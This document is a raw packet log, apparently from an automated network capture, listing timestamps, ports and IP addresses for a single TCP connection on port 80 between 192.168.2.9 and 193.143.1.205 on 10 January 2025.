Jan 10, 2025 22:03:17.391330957 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.391343117 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.391354084 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.391357899 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.391370058 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.391381979 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.391395092 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.391412973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.391423941 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.391423941 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.391424894 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.391437054 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.391450882 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.391463995 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.391470909 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.391504049 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.392247915 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.392260075 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.392271996 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.392287016 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.392293930 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.392307043 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.392321110 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.392333031 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.392338991 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.392338991 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.392343044 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.392358065 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.392394066 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.392394066 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.396792889 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.404978991 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.429747105 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.429768085 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.429781914 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.429822922 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.463975906 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.464018106 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.464030027 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.464031935 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.464044094 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.464072943 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.464086056 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.464097023 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.464112043 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.464123964 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.464124918 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.464124918 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.464137077 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.464143991 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.464214087 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.475352049 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.475364923 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.475442886 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.475442886 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.475455999 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.475471973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.475486994 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.475492001 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.475579023 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.475610018 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.475620985 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.475635052 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.475651979 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.475661993 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.475688934 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.475688934 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.475728989 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.498557091 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.498574018 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.498584986 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.498599052 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.498610973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.498610973 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.498624086 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.498640060 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.498668909 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.498684883 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.498709917 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.498720884 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.498734951 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.498744965 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.498774052 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.498806953 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.498817921 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.498876095 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.510051012 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510077000 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510092974 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510106087 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510121107 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510137081 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510147095 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.510178089 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.510178089 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.510202885 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510216951 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510245085 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510277033 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.510298967 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510335922 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.510385990 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510404110 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510416985 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510430098 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510443926 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510443926 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.510454893 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510497093 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.510497093 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.510672092 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510740042 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510760069 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510773897 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510776997 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.510786057 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510802031 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510819912 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510833025 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510840893 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.510888100 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510888100 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.510888100 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.510943890 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510965109 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510977030 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.510997057 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.510999918 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511028051 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.511074066 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511198044 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.511202097 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511214018 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511226892 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511238098 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511250973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511256933 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.511265039 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511279106 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511288881 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511321068 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.511321068 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.511334896 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.511574984 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511590004 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511601925 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511616945 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511631966 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511645079 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511657953 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.511657953 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.511672974 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511693001 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511698008 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.511708975 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511713982 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511727095 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511737108 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.511740923 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511755943 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511769056 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511781931 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511787891 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.511787891 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.511795044 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511807919 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.511811972 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.511987925 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.514972925 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515017033 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.515054941 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515068054 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515081882 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515095949 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515115023 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.515116930 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515129089 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515165091 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.515177965 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.515213013 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515225887 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515238047 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515252113 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515265942 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515278101 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515294075 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515296936 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.515296936 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.515305996 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515330076 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515336037 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.515379906 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.515525103 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515568018 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515573025 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.515580893 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515625000 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515634060 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.515636921 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515659094 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515671015 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515677929 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.515683889 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515697002 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515710115 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.515726089 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.515755892 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.516026020 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.516057968 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.516071081 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.516082048 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.516093969 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.516110897 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.516129971 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.516144037 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.516144991 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.516151905 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.516225100 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.516225100 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.519709110 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.551608086 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.551651955 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.551671982 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.551700115 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.551752090 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.551779032 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.551790953 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.551805973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.551826000 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.551837921 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.551866055 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.551866055 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.562885046 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.562901020 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.562939882 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.562958956 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.562969923 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.562971115 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.562994003 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.563005924 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.563020945 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.563036919 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.563049078 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.563049078 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.563049078 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.563064098 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.563096046 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.563107014 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.563108921 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.563121080 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.563133001 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.563139915 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.563139915 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.563144922 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.563206911 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.586112022 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.586124897 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.586142063 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.586153984 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.586163998 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.586178064 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.586191893 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.586229086 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.586232901 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.586232901 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.586244106 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.586282969 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.597466946 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597481012 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597501993 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597522020 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597539902 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597548962 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.597548962 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.597554922 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597588062 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597590923 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.597598076 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597626925 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597640038 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597661018 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597667933 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.597667933 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.597703934 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597707987 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.597722054 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597733974 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597753048 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597765923 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597778082 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.597779989 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597790003 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597834110 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.597903967 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597919941 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597933054 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597946882 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597954035 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.597955942 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.597980022 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598023891 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598153114 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598170996 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598185062 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598195076 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598207951 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598211050 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598221064 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598232985 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598244905 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598257065 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598261118 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598261118 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598270893 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598283052 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598285913 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598295927 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598316908 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598328114 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598336935 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598340988 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598352909 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598367929 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598371983 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598387003 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598398924 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598412037 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598414898 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598423958 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598436117 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598438025 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598448992 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598449945 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598464012 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598476887 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598488092 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598517895 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.598524094 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598536015 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.598548889 CET	80	49706	193.143.1.205	192.168.2.9
